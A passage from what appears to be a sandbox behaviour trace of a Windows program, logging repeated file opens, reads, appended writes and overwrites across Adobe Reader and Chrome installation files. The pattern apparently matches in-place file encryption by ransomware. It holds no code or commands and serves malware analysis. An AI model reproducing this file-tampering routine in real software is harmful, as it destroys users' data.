lpMultiByteStr=0x1e631ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SYMBOL.TXT", lpUsedDefaultChar=0x0) returned 10 [0042.867] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.460] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x2d73 [0043.460] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.461] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x2d73 [0043.462] WriteFile (in: hFile=0x168, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.466] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.467] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.467] CloseHandle (hObject=0x168) returned 1 [0043.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1256.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1256.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.470] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.471] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x22fb [0043.471] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.471] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.471] ReleaseMutex (hMutex=0x128) returned 1 [0043.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1256.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0043.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1256.TXT", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP1256.TXT", lpUsedDefaultChar=0x0) returned 10 [0043.471] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.472] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x12fb [0043.472] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.475] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x12fb [0043.475] WriteFile (in: hFile=0x168, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.476] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.476] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.476] CloseHandle (hObject=0x168) returned 1 [0043.476] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1029.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1029.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.477] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1029.mst", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1029.mst", lpFilePart=0x2c0f690*="1029.mst") returned 0x64 [0043.477] GetLastError () returned 0x5 [0043.477] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0043.477] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.477] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.477] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0043.478] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0043.478] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0043.478] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1029.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1029.mst")) returned 0x21 [0043.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1042.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1042.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.479] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1042.mst", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1042.mst", lpFilePart=0x2c0f690*="1042.mst") returned 0x64 [0043.479] GetLastError () returned 0x5 [0043.479] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0043.479] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.479] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.479] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0043.479] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0043.479] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0043.479] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1042.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1042.mst")) returned 0x21 [0043.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1055.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1055.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.482] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1055.mst", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1055.mst", lpFilePart=0x2c0f690*="1055.mst") returned 0x64 [0043.482] GetLastError () returned 0x5 [0043.482] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0043.482] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.482] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.483] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0043.483] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0043.483] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0043.483] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1055.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1055.mst")) returned 0x21 [0043.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.484] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.484] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x41c1 [0043.484] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.484] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.484] ReleaseMutex (hMutex=0x128) returned 1 [0043.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vigtigt.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vigtigt.htm", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vigtigt.htm", lpUsedDefaultChar=0x0) returned 11 [0043.484] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.488] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x31c1 [0043.488] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.489] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x31c1 [0043.489] WriteFile (in: hFile=0x168, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.489] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.489] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.489] CloseHandle (hObject=0x168) returned 1 [0043.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\docs.crx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.493] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.493] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x11e2 [0043.493] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.493] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.493] ReleaseMutex (hMutex=0x128) returned 1 [0043.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docs.crx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docs.crx", cchWideChar=8, lpMultiByteStr=0x1e6338c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docs.crx", lpUsedDefaultChar=0x0) returned 8 [0043.493] ReadFile (in: hFile=0x168, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x11e2, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f2bc*=0x11e2, lpOverlapped=0x0) returned 1 [0043.495] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0043.495] WriteFile (in: hFile=0x168, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x176a, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x2c0f2d0*=0x176a, lpOverlapped=0x0) returned 1 [0043.495] CloseHandle (hObject=0x168) returned 1 [0043.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ar.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.498] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.498] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6df65 [0043.498] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.498] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.499] ReleaseMutex (hMutex=0x128) returned 1 [0043.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ar.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0043.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ar.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ar.pak", lpUsedDefaultChar=0x0) returned 6 [0043.499] ReadFile (in: hFile=0x168, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.502] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6cf65 [0043.502] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.506] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6cf65 [0043.506] WriteFile (in: hFile=0x168, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.507] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.507] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.507] CloseHandle (hObject=0x168) returned 1 [0043.507] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es-419.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.507] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.507] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4fca5 [0043.507] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.507] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.507] ReleaseMutex (hMutex=0x128) returned 1 [0043.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es-419.pak", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0043.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es-419.pak", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="es-419.pak", lpUsedDefaultChar=0x0) returned 10 [0043.508] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.509] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4eca5 [0043.509] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.513] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4eca5 [0043.513] WriteFile (in: hFile=0x168, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.514] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0043.514] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.514] CloseHandle (hObject=0x168) returned 1 [0043.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0043.517] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.517] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4bc57 [0043.518] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0043.518] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.518] ReleaseMutex (hMutex=0x128) returned 1 [0043.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hr.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0043.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hr.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hr.pak", lpUsedDefaultChar=0x0) returned 6 [0043.518] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.520] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4ac57 [0043.520] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, 